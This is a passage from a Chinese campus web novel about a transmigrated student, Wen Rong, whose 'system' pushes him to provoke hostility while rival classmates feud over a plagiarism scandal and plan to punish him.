“我早上去吃饭的时候遇到他们。”漂亮眼睛看向周围,“他们不是你社员吗?我就跟在他们后面来了。” 其他人:“嗯嗯,温绒说对网球感兴趣,我们就教一教他。” “他们都特别好,还给我发了网球社运动服。”温绒打开手臂展示,“真好看。” 时野骤然一顿,“你换衣服了?” “嗯嗯。” 无论是时野那边的网球场还是这边的网球场,休息室都是公用的。 也就是说,温绒在这么多双眼睛下把上衣裤子都换了个遍。 一股火气上涌,时野手揣进运动裤口袋,两边鼓起拳头。 温绒为什么这么迟钝,不知道这些人对他是什么心思吗?上次想跟新闻社的搓澡,这次又在那么多人面前换衣服,时野甚至都可以想象这些人看他换衣服时是什么心情,或许还会拿手机拍照,夜里遐想。 “时野?” 时野猛一下转身,掩饰住爬上脸颊的火气。 他真的好想撬开温绒的脑子看看里面是不是一团豆腐渣。 忽然,有东西重重敲在背上。 时野感觉到发丝穿透衣服,轻轻扫过背上的皮肤,肌肉一阵痉挛,浑身都绷紧了。 温绒要是这样……这样的话…… “啊——” 尖叫打乱时野的遐想。 他转过身,一抹黑影在面前下落,本能地伸手去扶。 温绒应该很轻的,他这么瘦。 但双手现在莫名要抱不住骨头的重量。 时野愣了两秒才反应过来——温绒晕倒了- 时野分成三个,在地上摇晃。 温绒后知后觉,是自己在晃。 他甩了甩脑袋,三道影子合成一个,以为自己恢复正常,时野的背影却在眼前放大。 无尽的黑暗像如潮水般袭来,温绒感到呼吸困难。 再次醒来,视野里是一片茫茫雪白,浓郁的消毒水味涌入鼻腔。 温绒听见有人喊“醒了”,分不清是谁的声音,忽然胸口被空气冻了一下,更冰凉的东西贴上胸口。 “奇怪,哪里都正常,怎么会突然晕倒。” “是不是中暑了?” “今天这个太阳能中暑吗?” 温绒张了张嘴,这些说话的人似乎发现他的动静,连忙把他扶起来。 眼前的一切都很陌生,陌生到他以为自己又穿越了。 “老幺,感觉怎么样?有没有哪里不舒服。” 哦,没有穿越。 幸好没有。 温绒舍不得新闻社的三人。 他甩甩脑袋,再次试图看清眼前的一切。 这里像是一间病房,新闻社的三人都站在旁边望着他,还有一个白大褂,手里的听诊器正贴在自己胸口。 温绒微愣,“我怎么了?” 林启正:“你早上突然在网球场上晕倒了,医生也检查不出什么问题。” “那我……” 门的位置突然响起一声“砰”,有人推门进来,力气大到可怕,门都跟墙狠狠撞上。 “他怎么还没醒,你是不是不——”时野猛然一顿,别开脸,“你把衣服穿起来。” 温绒迟钝地望向白大褂,“可是医生要检查。” 白大褂摆手起身,“没关系,也听不出来什么,你先把衣服穿上,好好休息,等会儿吃个饭回宿舍吧。” 张麟追问:“医生,你还没有说他为什么会晕。” 对哦,他为什么会突然晕倒。 温绒等待着医生的回答,却不想系统主动出了声: 【因为宿主太久没有触发任务,主系统自动判定宿主会任务失败,提前为宿主的死亡作铺垫。】 第63章 第 63 章 死亡一直很突然 “本身体质就比较差吧, 你看他身上就没几两肉,眼睛还有黑眼圈,肯定长期熬夜不锻炼。” “他之前精神很好, 不可能是这个原因。” “他都在那边床上躺一天了,我上上下下都检查过了,身体没有任何问题。你要是不相信,自己带他去医院做系统检查。” 温绒其实想追问系统死亡的问题,但目前这个情境不足以支持他冷静下来思考,所以他压下系统带来的惊恐情绪,默默举起手环顾四周:“学长, 你们怎么在这里?” 林启正:“我们在论坛上看到有人说你晕倒了。” 张麟特地补充,“有哥们照片拍得好看,时野公主抱你那背影, 啧啧啧。” 时野—— 温绒一愣,抬眼看向跟医生争辩的时野。 时野察觉到视线,飞扬的眉尾瞬间落下, “干、干嘛?” “谢谢你送我过来。” “不用谢,你在我的地盘上晕倒我应该负责。”时野别开脸, 灰色发尾露出若有若无的红晕,“医生说你体质太差,以后每天早上都到我别墅旁边的网球场锻炼,知道吗?” 可是你刚才还反驳医生。 已经知道该怎么跟时野相处的温绒点头答应, “嗯,我答应过你的,我记得的。” “……”时野莫名心花怒放,压了压嘴角问:“想吃什么,我让管家送过来。” “我——” “不用不用, 我们给老幺带了。”话还没说完,林启正抢先从包里翻出个饭盒递给温绒,又看向时野,露出少有的不卑不亢,“我们有事情想单独跟老幺商量,能不能麻烦你出去一下。” “我出去?”时野脸上表情骤然一冷,手指梳着头发向后一拨,五官凌厉,锋利的眉目居高临下瞪向林启正。 温绒知道时野生气了,但林启正不是那种会直面招惹时野的性格,连忙道,“学长,要不我们出去说。” 林启正定了定,“咱们出去也行。” 张麟:“走吧,反正医生说你没事了,正好送你回宿舍。” 温绒掀开被子就要下床,床位那头时野表情微变,伸手摁住被子,“我回去了。” 随即他缩回手揣进兜里,转身朝外走。 高挑的背影第一次呈现佝偻的模样,看起来有些孤寂。温绒忍不住张嘴,时野倏地回头,跟他对上视线。 怒容消散,无悲无喜,沉静得好像在发呆。 他没说什么话,长臂一伸拉走医生。 砰。 很轻的声音,因为太轻,效果跟用力摔门达到同一个效果。 温绒有些心惊,又感到意外,时野竟然没发脾气吗? 来不及深思,林启正迅速凑上来,“老幺,你实话实说,是不是在网球场被时野折磨了。好好的怎么会晕倒呢,还昏迷了一天。” “啊?” “你别怕,要是真被欺负了直接说出来,你现在都不是红牌了,欺负你算违规,我们可以一起给学校发举报信。” 张麟小声说:“实在不行,我们哪天找个麻袋套到时野头上帮你揍回来,他一个人打不过4个。” “对,我进过安保系统,我知道哪些地方是监控死角,保证不会被发现。” 什么举报什么麻袋监控…… 温绒过了几秒才反应过来,原来学长们以为自己在网球场受了欺负才要支开时野跟自己单独说话。 学长们竟然敢招惹时野! 一股热流暖上心口,嘴角忍不住提高,可是脑海中冒出系统的“死亡通知书”,笑容苦涩起来。 他惯常不会隐藏情绪的,一下子就被张麟发现,“真的被欺负了?” 林启正恶狠狠道,“我就知道他跟周谢李奥是一丘之貉!” “没有没有。”温绒知道自己不能再沉浸在思绪中了,再沉浸下去,时野就变成窦娥了。 “跟时野没有关系,是我自己太久没运动,刚动一动就晕倒了。” “真的?” “嗯嗯。” “没有就好。”林启正念叨着松了口气。 新闻社的三人看着温绒吃完饭才走。 彼时温绒走到窗边。 路边的杨树光裸如指,拢着微弱的橙光,在无边无际的黑暗中哆嗦。 三人从医务楼走出,林启正左右手分别搭在旁边张麟跟张锦程肩膀上,好像说了什么笑话,身体一起东倒西歪。 转首间看见温绒,林启正挥了挥手臂,张锦程跟张麟也一起回头。 温绒摇着手,一直摇着,学长们的身影消失在黑暗中也没有停下。 【已经走很远了。】 温绒放下手臂,才感到血液流通,酸麻的感觉由肩膀传输到心脏。 他深吸一口气,“哥哥,今天的晕倒有点突然,我……” 【死亡一直都很突然,比如宿主上辈子遭遇地震。】 “……” 温绒沉默下来。 是了,他经历过死亡的,而且那速度快到毫无征兆、甚至到这一刻,才想起来自己已经死过一次。 【这次只是预警,宿主还有机会改变的。】 【还记得赵泽阳退学那段时间发生的事吗?宿主引起公愤,一连触发两个任务。】 “……” 【所以宿主只要让所有人都讨厌你,你就可以继续触发任务,赚取积分。】 温绒还是不回答,系统有些着急,【宿主,挨过这段时间就好了,等任务做完你就可以在这个世界好好生活。】 “一定要在被欺负跟死亡之间选吗。” 【……】 温绒手撑上窗,指甲扣紧金属边框,指尖生疼,可是他一点都不敢松开,因为地面在晃动,又地震了。 而坐到地上时,世界静止。 又经历一次“死亡”的温绒用脑门撞上膝盖,剧痛迫使浅浅的眼眸骤然清明,“哥哥,你说得对,死亡就是来得很突然。就算我完成了任务,未来某一天我也会死的。” 【……】 “所以在活着的时候就要做点有意义的事情,即使这些事情会引来别人的记恨。” “可能对别人来说这些恨是不可承受的重量,但这些恨对我来说有好处,能帮助我获取积分。” 温绒哄好自己,撑着地站起来,摸手机,在新闻社的群里发消息:[@张锦程,社长,我打算开小号在科普软件上戳破王艾伦盗取你的设计稿,你可以帮我吗?] 张锦程:[什么?] 温绒:[我想做这件事,但我不知道该用什么办法让他原形毕露,所以询问你的意见,也想问问你有什么办法。] 温绒:[不用担心你会暴露,你只要告诉我方法就好,这件事我来做,到时候被查也是我自己被查。] 张锦程:[不用为我做这些。] 张麟:[每条裙子都有单独的设计理念,可以问他设计这些裙子的灵感是什么。] 两条消息一起发出,紧接着林启正说:[我也做我也做,我可以用小号藏ip,给李奥增加一点小难度。] 张麟:[我也加入!@张锦程现在不是你自己的问题了,这是关于我们软件的问题,王艾伦现在是这个科普软件的热门博主,他春夏时装周展示的那些又是热门,只要提问他必定会回答。到时候问到他的破绽,口碑受影响,软件的权威性也会大打折扣。] 林启正:[对对对,这个软件我宁可它烂了也不要他在周谢手里发扬光大,阴暗爬行.jgp] 剑指王艾伦是第一步。 第二步,温绒打开黒鸽论坛,略过后台许多吹捧自己的消息通知,发帖: 《我讨厌男同》 [????] [女神这是生气了?] 温绒:[别叫我女神,我是男的。] [这辈子都没想到,女神竟然是个直男。] [cos米璐璐的直男?] 温绒点开梁子力学的聊天窗口,犹豫了下,还是选择直接关闭,随即在论坛里回复:[最讨厌女装,我穿女装都是被逼的。]- 夜幕落下,虫鸣如心跳般如影随形。 联邦6397号秘密研究基地建在北方原始森林深处,参天大树遮天蔽日,月色半点透不进来。 “啊——我要受不了这种没网的日子了。” 穿着工装服的男生匍匐在桌子上,皮肤苍白,双目无神,翻一翻,宛如咸鱼。 这间五十平米的办公室,三分之二都装载着联邦的秘密设备,体型庞大,比一米九的莱昂还要高一个脑袋。 他记录数据时,需要仰脖子才能看见上面的数字。 “莱昂啊,莱昂你回我句话。” “你可以出去跟他们打牌。”莱昂终于搭理他。 “不打了,不打了,我现在看到长方形的卡片就想吐。” “那打麻将。” “麻将也是长方形!” “那是长方体。” “都一样。”男生艰难地拿脑门砰砰砰撞桌子,“莱昂啊,你还记得刷手机是什么感觉吗?刷某个视频的时候突然出现米璐璐,是不是特高兴。” 米璐璐。 莱昂不禁回忆起那天在梁子力学办公室看见的温绒,灯光白湛,光下的皮肤更加雪白,仔细一看,背上浮着蝴蝶似的。 “莱昂——” 莱昂被鬼哭狼嚎拉回神,“我不玩手机,也不看米璐璐。” “啊——等我回去,我要把米璐璐的所有视频都看一遍。我还要去米璐璐的演唱会,跳到舞台上跟她热舞。” “虚拟偶像,你上去又摸不到。” 不知道哪个字戳到了伤心处,朋友痛哭,“呜呜呜,为什么我跟米璐璐隔了块屏幕,什么时候能研究出穿越的机器,我愿意去二次元跟米璐璐相爱相守到老。” 莱昂冷笑。 男生彻底绝望,双掌用力拍桌子,“你别看不起我们二次元!” 莱昂抬腕看表,“别浪费时间,赶紧回去洗澡,还有十五分钟就停水了。” “啊啊啊啊啊。” 男生尖叫着冲出小屋,机器运转的声音咒语般飞旋,莱昂像个苦行僧,坚持静坐。 因为母亲的关系,他从小就知道成为一位科研人员意味着什么。 实验失败只是科研生涯里最微不足道的挫折,真正的困难在于智商足以让自己凌驾在大部分人之上,却要像原始人一样在人迹罕至的秘密基地里孤独生活。 “滴——” 通讯器响,莱昂停下记录,打开话筒,“6397号在线。” “找莱昂·冯·勒文斯坦。” “莱昂·冯·勒文斯坦在线。” “接通中,请稍等。” 短暂两秒后,通讯器那头响起声音,“表哥。” 是伊芙琳。 “知不知道随意占用秘密基地的内线会被处罚?” “我不是随意占用,现在有非常重要的事需要你帮忙。” “什么?” “稚月想用军方的特备医用器械做一场手术,你帮我安排下好不好。” “这方面我做不了主,你应该找时野。” “我现在不敢去找他。” “怎么了?” “不是他爸又搞事了就是他继母又作妖了,总之心情很不好。” “我这边通讯只能进不能出,我也帮不了你。” “……”通讯器那头沉默了一会儿,说道,“你不能提前回来吗?” “暂时不行。” “那如果我跟你说,时野正在热烈追求嫂子呢?” 莱昂斩钉截铁,“他追不到。” “以前追不到,不代表现在追不到。嫂子病得很严重哦,正是心理防线最脆弱的时候。” 第64章 第 64 章 晋升皇后 温绒第二天大早是被冻醒的。 护士进门来开了窗, 仅仅是一条缝,冷风就灌满了屋子。 温绒询问护士,“请问我可以出院了吗?” 护士是和善的大哥, 一边收拾垃圾桶一边笑着说:“医生说你没什么问题,随时都可以离开。” “要是想继续住的话也可以,弗罗里曼学院不收学生医药费。” 温绒顿时生出“我在医院赖了一夜”的愧疚感,收拾东西,羞赧遁走。 更多的冷风回旋上天,温绒感觉自己头发都被吹得立了起来,一边走一边发抖, 才不过5分钟,当即决定放弃去食堂吃饭,先回离得近的宿舍添了件衣服才再出门。 显然不止他一个人感到冬天来了, 食堂门口挂起了帘子挡风,进去时暖流扑面,才终于重重舒了口气。 温绒端了碗热腾腾的面, 刚坐下喝口汤暖身子,视线里出现一张讨厌的脸。 “温——绒——” 王艾伦双手抱胸, 刻意把他的名字拉长,眼底满是暧昧。 同时落座的还有两个“跟班”。 很奇妙,在这所学校里,好多人都有跟班。时野、赵泽阳……还有现在的王艾伦。 因为张锦程以及之前发生的事情, 温绒特别不喜欢他,端起碗正准备走,王艾伦忽然很不客气的伸手摁住温绒的碗,“别走呀。” 大手几乎罩在整个碗口,有那么一瞬间, 温绒觉得自己的面脏了。 “听说你讨厌男同?” 王艾伦又说:“你是外城区福利院长大的吧?我家每年都会往那些福利院里面捐钱,不知道有没有你长大的那家。” 温绒疑惑地望过去,这完全是出自本能,因为他根本不知道王艾伦为什么要忽然提及福利院。 王艾伦得意一笑,“应该是有的,我家总是把钱用在那些奇奇怪怪的地方。” “……” “你说,我今年把钱收回来怎么样。” “哦。” 温绒不是在冷淡回复他,而是了然——原来王艾伦说这么一大通,是想威胁自己。 可温绒完全没有被威胁到,因为他记忆中福利院早就在地震里没了。 在王艾伦几乎要乐翻天时,温绒冷淡回复:“随你。” 王艾伦一愣,“随我?” “……” “你不在乎福利院那些小孩的死活?” 温绒想,我在福利院长大我还不知道?福利院都是政府扶持的,跟你没关系。 但他的沉默又让王艾伦会错意,以为自己威胁到了温绒,贪婪地吞咽唾液,“如果你做我男朋友,我就多给你长大的福利院捐点钱。” “……” “怎么?考虑清楚了吗?” “没有考虑。” 温绒有些烦躁跟恶心,甚至懒得再跟王艾伦说话,摸出手机,把音量开到最大,随即点开蓝书收藏的视频。 “不要仗着自己脑子有问题就为所欲为。” “男同是病,得治。” 温绒又点开新视频:“人家压根不搭理你,你也知道没有一点希望,但你还是不要脸的凑上去,这叫舔狗。” 手机播放出来的声音巨大,引起周遭不少人的注意。 “女神在干嘛?” “别喊女神,他不喜欢,喊男神。” “嗷,男神怎么了,什么舔狗什么不要脸?” “很明显啊,在骂王艾伦是舔狗。” “我刚刚好像听到王艾伦说要男神当他男朋友?” “他在想屁吃,没看到昨天的帖子吗?现在第一顺位是时野,后面还有莱昂周谢时竞赵泽阳梁子力学,要是轮得到他,我也可以去争取争取了。” 议论声音很大,都清晰传进耳朵,王艾伦面色越来越难看。 温绒不再撤回自己的碗,反而用力一推,滚烫的汤汁全部撒在他手上。 “嘶”王艾伦猛然后缩,怒目圆瞪,“你——” 温绒问:“寻事滋事违反校规,所有人都可以作证,你敢继续背黄牌吗?” 王艾伦:“我——” 旁边人连忙拉王艾伦,“算了,背黄牌不能跟学生会提申请,得不偿失。” “你给我等着。” 王艾伦说完甩手离开,温绒忽视所有人的议论跟目光重新端一碗面。 吃过早饭,林启正在新闻社的群里喊他去100室,打算三人商量搞垮王艾伦的大计,然而温绒抵达目的地,却只有张麟满面愁容地坐在里面。 见着温绒,张麟晃一下脑袋,整理表情,“身体好点了吗?” “已经没什么问题了。” 温绒刚坐下,张麟又开口:“老幺,我们的计划可能需要改一改。” “出什么问题了吗?” “王艾伦显然早有准备,我跟启正想了好几个问题他都回答出来了,还编了个去世奶奶的故事。总之把网上那些人感动得不行,他们更崇拜他了。” “唔……那我们再想想该怎么问。” 温绒低头沉思,忽然的想起来更重要的事,“林启正学长呢?” “不会睡过头了吧?”张麟摸手机给林启正发消息。 滋 手机一震,张麟表情难看起来。 “怎么了?” “启正说,他被绑架去体验富家少爷的生活了。” …… 与此同时,时野的别墅内。 数个佣人来往厨房跟餐厅,往5米长的桌上摆满吃食。林启正跟时野各坐一头,一个阴沉沉地静止,一个塞得满嘴都是。 “你能不能先回答我的问题。” 林启正把嘴里的东西全咽下去,“我说了啊,我没对老幺做过什么。” “那他为什么跟你关系这么好!” “按老幺的话来说,因为我人好。” “……” 时野抓起筷子往盘子上用力一戳,嘎嘣,盘子一分为二。 同时林启正上下牙用力一碰,动也不敢动了。 而旁边的管家似乎早已习惯这种情境,面无表情的重新为时野换上新盘子。 沉默中,林启正感受到自己的生命遭到威胁,连忙道,“时……时哥,我懂你。我追不到喜欢的女孩时也这样,就是那种宫斗剧里的冷宫弃妃,日日期盼得到皇上的宠幸。” 时野冷眼瞥他,“我不是。” “唉,所以说嘛,老幺跟你不亲近。”林启正挺起胸膛,“你这态度就不对。” “态度?” 林启正掰起指头开始数,“你看我们老幺,劈头盖脸就是美,有点呆但敢想敢为,心肠好性格也好。你喜欢,莱昂喜欢,时竞喜欢,梁子力学喜欢,王艾伦喜欢,全校大部分人都喜欢……都这样了,怎么你们都把他当貂蝉呐,他明明是盛世美颜版刘备。” 时野眼皮耸拉,表情无语。 林启正倍感质疑,激动道,“时哥,作为王上身边的股肱重臣,看在吃过你两顿饭的份上,劝你把宫斗剧看看,学一学怎么人家女主角是怎么晋升皇后的。” “你能不能认真回答我的问题?” 林启正无奈,“那行吧,你再问一遍,你把我叫过来是想做什么?” 因为早上去医务楼才得知温绒已经走了! 甚至都没在黒鸽上给他说一声。 时野握了握拳头控制自己的情绪,深吸口气问:“怎么晋升皇后。” “唉,这才对嘛。” 正在林启正准备传授99遍xx传里学来的宫斗经验时,管家接了个电话,过来跟时野汇报,“少爷,温绒在安保室等您。” 时野蹭一下起身,捋一捋头发往安保室走。 林启正要跟上,被时野一句“还想吃什么自己叫”堵了回去。 安保室内,安保大哥刚结束一轮游戏,坐在温绒身边左看看右看看。 “啧。” “啊?” “怪了。” 温绒被看得有些不自在,“请问你有什么想说的吗?” 安保大哥好奇,“我要是穿上你们学校的校服,也能跟你一样大变活人吗?” “大变活人?” “是啊,你穿上这身制服后跟以前完全不一样嘞,我要是也穿着去相亲,说不定就能解决单身问题。” “咳咳”咳嗽声从门边传来,安保大哥见着时野,非常懂事地走了出去。 时野背手关门,刚想问温绒为什么每次都要来安保室而不是直接进别墅,忽然想到林启正的“晋升皇后”,改口问:“身体好点了吗?” 温绒点头:“嗯,已经没事了。” 随即道,“昨天晚上……” 时野打断他,“不用再谢谢了,你昨天晚上说过。” 温绒抿唇,“没有,我不是要谢谢你。” 时野蹙眉,“为什么又不谢谢我了。” “啊?” 可是你刚才不是让我别谢你吗? 不行,不能被时野把思路带走。 温绒迅速停止质疑,强制扭转话题,“昨晚我感觉得到你在努力控制情绪。” “……” “这样很好很好,希望你继续努力。” 时野猛然一震,抬手捂住半张脸。 温绒经常见他这样,没觉得奇怪,继续说:“之前让你投资我们做专业科普的软件,虽然现在学生会已经出了一个,但我们仍然还想做自己原来的,你还投资吗?” 闷闷:“嗯。” “好的,我也会遵照约定早上来陪你打网球。” 继续闷闷:“嗯。” “我听说学长在你这边,我可以带他走了吗?因为我们还有一些事情要做,可能没办法在你这边呆很久。” “嗯……” “谢谢你。” 温绒顺利把林启正带走,还被时野赠送满手的点心,管家安排车送到校务楼。 100室内,林启正撑得绕着桌子转圈,张麟享受美食,感慨世界第一就是不一样,专属厨师做的饭比食堂还好吃。 温绒并不馋嘴,而且满脑子都是张麟学长说的问题,正在想办法找王艾伦的破绽。 有些难度,他并不专业,光是看那些裙子的照片跟王艾伦的回答,并不觉得有什么地方不对,而且更可怕的是温绒都要被王艾伦编的故事感动了。 该怎么办呢? 漫无目的刷着那些回答时,忽然看见几分钟前有一个账号回复王艾伦。 [采用白金色的眼睛图案不是因为什么宗教,只是温绒的眼睛在灯光下是这个颜色。] [短裙普遍偏长是因为温绒腿长,需要过长的裙摆来拉比例。] [王艾伦在春夏时装周上展示的裙子盗用了我的设计稿,我有监控证据。] 发帖人:弗罗里曼学院-张锦程 第65章 第 65 章 周谢暴怒 视频的拍摄地似乎在一处办公室, 王艾伦指挥张锦程端茶倒水,某一刻忽然指向远处,张锦程犹豫片刻, 走向那个方向。随即王艾伦给旁边人使眼神,旁边人翻开张锦程的包,从里面拿出牛皮画本,嬉笑着翻开,隐约可以看出是设计图。 有网友问:[是借鉴还是直接套用?跟你设计的一模一样吗?] 张锦程:[直接套用,一模一样。] 网友又问:[有点好笑了,我抄答案都知道有几个要选不一样的, 王艾伦可是正经考入弗罗里曼学院的人,我不相信他会用这么蠢的抄袭办法。] 张锦程:[可能我人微言轻,他不屑于使用手段吧。] 温绒看到这段对话, 茅塞顿开。 原来如此! 他一直觉得学校里有些人展示出来的人品甚至连普通人都比不过,比如赵泽阳,比如王艾伦, 现在在张锦程的回答里温绒彻底明白,因为自己太没份量, 所以他们甚至都不屑于伪装,就像人踩死蚂蚁一样直截了当。 领悟到新知识的温绒弯弯嘴角,又为张锦程勇敢站出来感到高兴,迫不及待地把消息告诉两位学长:“社长自己出来指认王艾伦抄袭了。” “社长?” “嗯嗯。” “我看看。” 两颗脑袋同时凑到温绒旁边, 温绒滑动屏幕展示张锦程的回复。 “啧啧啧,社长终于敢跟王艾伦硬刚了。”张麟深感欣慰,又说:“咱们也不能落后。启正,黑进后台把社长的账号封了。” 林启正:“好嘞。” 温绒滑动界面的动作一顿,“啊?” 张麟两手抱胸老神在在, “老幺你一看就不懂八卦,八卦就是要戛然而止,要所有人都产生好奇心。” “可社长不是在讲事实吗?” 啪,张麟拍温绒的脑袋,“娱乐化的信息才会得到广泛传播,你看多少人会关注社会新闻呀,大部分都是看娱乐八卦。” 依照张麟所料,张锦程账号被封禁,好奇心大发的网友都疯了,到处追问传播,蓝书那边立马空降热搜第一。 三人还没来得及庆祝,100室的人被猛一把推开,张锦程阴沉着脸进门。 “社长!”林启正激动喊一声,“你今天太帅了。” 然而张锦程好像并不高兴,还暗骂一声,“艹,我的账号被李奥禁了,现在发不了言。” “什么烂人,为了维护王艾伦连话都不让人说。” 罪魁祸首一林启正:“……” 罪魁祸首二张麟扶额:“……” 经过蓝书洗礼的温绒莫名感觉这一刻不该说话。 张锦程又骂了会儿,张麟犹豫着开口解释,“社长,其实是我让启正封的。” 冲天的怒火骤然熄灭,“你?” “科普软件这边都是被李奥直接控制着,不知道后续他还要怎么编排你。还是把战场转移到蓝书比较好,那边人多不好控,也能把这件事传播得更广。” 张锦程认真思考两秒,拉开椅子坐下,“我们来商量一下,接下来怎么办。” 林启正啪啪啪敲键盘,“当然是继续指责王艾伦,你竟然有视频监控就该早点拿出来嘛,咱们也不用绕这么一大圈。” 张锦程眉头轻蹙没有回答,温绒注意到他在担忧,主动开口,“我想问一下,如果确认王艾伦抄袭了,社长能得到什么。” “什么?”张麟一愣。 “就是……我想知道社长现在能得到什么。” 林启正:“当然是道歉啊!” “那些衣服呢。” “当然是以后都不能卖了。” “那件衣服也不能属于社长吗?” 空气顿时陷入沉默。 温绒很天真地问题,但又问到了实处。 王艾伦确实盗用了张锦程的设计图,但后续制作跟张锦程无关,衣服不可能归属张锦程,而那些设计图也不能再用了,毕竟都被王艾伦使用过。 所以张锦程得到的赔偿是远远不够的。 “没关系,这件事捅出来,出口恶气也是好的。”张锦程说。 “其实我仔细想一想,无论是社长的设计图被盗用,还是我们的软件被盗用,都是同一个原因:他们很轻易就能在学校那边申请得到资源,我们总是会被拒绝。”温绒翻开小本子,用笔写下这段概念,又说:“我觉得这是学校的问题。”- 天气越来越冷,即使在大中午,天空也是沉重的铅色。 周谢不爱开空调,寒冷能迫使他冷静,特别是此刻。 “因为张锦程的账号被封禁,现在所有舆论转移到了蓝书,要不要跟蓝书那边……” “要做也是王艾伦去做,我是他爸吗,我还要负责给他擦屁股。” 周谢说完,看见李奥在笑,莫名其妙道,“笑什么?” “你刚才说的话好像莱昂。” “……” “不过这么堂而皇之的盗用,还被监控录下来,确实太蠢了。” “还有更蠢的。”周谢轻抿唇,抖着手拉开抽屉,抽出只烟点燃强制自己冷静,“时竞刚才给我发消息说,王艾伦今早在食堂公开跟那个特招生示爱,吵着让王艾伦退学。” 李奥一愣,周谢唇边吐出白色烟雾,缓缓盖住阴鸷的脸。 “就为了个特招生,呵——” 李奥:“接下来怎么办?” “王艾伦抄袭这件事可能会影响到科普软件的口碑,你给蓝书那边打个电话,先防止他们浑水摸鱼。” “好的。” 李奥滑动Pad,正准备按照周谢的安排做,蓝书突然弹出消息。 《人品是否与学历挂钩?弗罗里曼学院接连两位学生曝出不良新闻》 据小编所知,弗罗里曼学院几个星期前曾有某位学生因作风问题被退学,现在又有王艾伦抄袭。小编忍不住好奇,这是学生本人的问题试试校方的教育问题? 如果是学生本人的问题,那入学筛选阶段是否存在潜规则? 如果是校方的教育问题,那校方是否还有资格获得联邦最全面的教育资源? 弗罗里曼学院向来吸引眼球,突然出一个讨伐弗罗里曼学院的声音,所有网友都感到新奇,甚至这篇博文很快压过王艾伦抄袭的事件。 当然,李奥更觉得是周谢说晚了一步,蓝书已经有行动了。 弗罗里曼学院推这个软件已经有跟蓝书分饼的趋势,先前蓝书那边不敢跟弗罗里曼学院硬刚,现在有了话头,肯定要用力下手段的。 事情复杂了。 李奥倒吸口气,正准备把pad给周谢看,抬眼看见周谢也正在看手机,黑框眼镜后面的眼眸越来越暗,几乎冷到骨子里。 半晌,周谢冷静地把烟摁进烟灰缸,又冷静地拨动烟灰缸。 啪嗒 烟灰缸落在地上,碎成一地玻璃。 周谢宛如一个木头,定定站在桌边一动不动。 “表哥,有人发了博文……” “我看见了。” “我来查一下是谁——” 周谢打断他,“不用,看语气就知道是那个特招生。” 李奥晃眼间瞧见周谢把眼镜摘了下来,手捏上眉心用力揉了揉,随即不再戴上眼镜,毫不掩饰地露出浑身戾气。 “表哥……” 周谢唇角微动,勾起一小段弧度,“那个特招生一定没死过。” 乌云盖在学生会大楼的顶上,遮住最后的天光。 办公室里彻底陷入昏暗,周谢再次拉开抽屉,从里面取出只烟。 翻转方向,拆下烟头的纸。 咔—— 打火机响,一簇火苗转移,烟头熊熊燃烧,像一只火把。 烧完,周谢又取一只,再次点燃。 桌面被烫出痕迹也浑然不觉,如此往复,直到抽屉里再也拿不出来新的东西。 周谢像在虔诚地举行什么恐怖仪式,把灵魂全部托付出去,所有该为“人”的特征也从身体里消失,最后变成恶鬼。 “你查一下……” 生冷的嗓音短暂停顿。 “查一下温绒的所有底细。” 第66章 第 66 章 第二次罚红牌 作为全世界用户最多的社交软件, 蓝书上消息传播极快。 《人品是否与学历挂钩?弗罗里曼学院接连两位学生曝出不良新闻》刚火,就有“知情人士”爆料弗罗里曼学院内所有学生都品行不端,往年特招生都被欺负退学。 这个消息给予向往弗罗里曼学院的诸多网友重重一击, 一时间舆论爆炸,不仅限于蓝书,甚至各方媒体都在争相报道。 最先受到影响是顶着“弗罗里曼学院”名头在互联网上活跃的用户,评论区全部沦陷。 其次是时野这些个人名气大于学校的公众人物,由于成绩过于突出,又拥有许多粉丝,骂声刚到这边就被粉丝堵了回去。 蓝书热闹, 黒鸽论坛一样热闹。 [靠,到底是谁发的文,我的演唱会都被退三分之一的票了。] [我比你惨, 我掉了2万粉。] [2万粉而已,叫什么叫。] [我蓝书也就3万粉丝啊。] [我家店每个平台都被那些人恶意下单,现在只能关闭全部购买渠道了。艹, 别让我知道是谁偷偷发的文,不然我弄死他。] [本来要上一个益智节目, 现在都被取消了。特招生退学关我什么事,我又没欺负他们。] [我现在就找人查这孙子到底是谁!] [等你。] [等你+1。] [希望查到人后学校给把这个人处罚了。] [学生会该管这个事儿吧?] [学生会肯定得管这个事儿,这可是关乎我们学校所有学生的声誉。] [谁有蓝书的路子?赶紧让蓝书控制舆论啊,别再黑我们学校了。] [学生会的肯定有。] 一时间, 拯救弗罗里曼学院声誉的重任落在了学生会身上。 学生会会长办公室 发生了这么大的事,所有人都以为周谢肯定会大发雷霆,然而今天的周谢出奇冷静,甚至都没有抽烟。 会议室内,李奥汇报着科普软件的情况以及优化方案, 李奥汇报完,轮到下一个。 空气再次凝滞一瞬。 砰砰,周谢翻个手,指节叩响桌面,“汇报。” 下一个猛然回神,翻开笔记本道,“下月校庆拟定发出200份邀请函邀请位名誉校友回校参观,名单需要您这两天跟校长再确认一遍,接下来要设计邀请函。” 周谢沉思片刻,“看蓝书热搜了吗?” “……”吞咽。 “鉴于近期出现一些不良言论,邀请函的数量提到500,同时准备找一些跟我们关系好的媒体,今年校庆邀请他们一起参观弗罗里曼学院。” “可是学校一直都……”对外保持隐秘。 “所以这次校庆要加强安保,别让媒体拍到一些不合适的东西。” “好的。” 下一个继续汇报关于校庆的事,长条桌上所有人讲完一轮,都以为会议结束,周谢突然出声。 “还有一件事需要集体决议。”周谢看向李奥。 李奥点头起身,“经过后台ip查询,在蓝书上发文污蔑校方的人是弗罗里曼学院的学生。” “什么?”众人愣住。 李奥:“这次事故影响巨大,不仅让整个学院的学生口碑受影响,就连从学院毕业的学长们也深受其害,所以经过会长与校长沟通,接下来会进行一轮全校学生参与的投票。” “是否给予特招生红牌处罚。” “特招生?” “是那个叫温绒的?” “为什么要给他红牌处罚?我记得红牌只有校董才能决定……” 李奥:“因为在蓝书上抹黑学校的人就是他。” 一时间办公室内频频响起倒吸口气的声音,众人目瞪口呆,你看我,我看你,嘴巴张开都说不出话来。 砰砰,周谢再次敲桌面吸引所有人的注意力,“因为这次事件里所有学生都是受害者,所以我向校长申请由我们来决定是否给予温绒红牌。”- 清晨,寒风穿梭在弗罗里曼学院古老陈旧的大楼之间,发出尖锐凄厉的尖叫。 温绒平生第1次被电话吵醒,爬起来看时间,5:46。 迷茫的眼眸骤然清醒,不敢相信自己竟然睡过了头。 滋滋滋滋 手机第2次响起来电铃声,温绒忙不迭接起,“喂。” “咳咳。”时野在那头咳嗽两声,“饿不饿,带你吃饭,吃完饭打网球。” 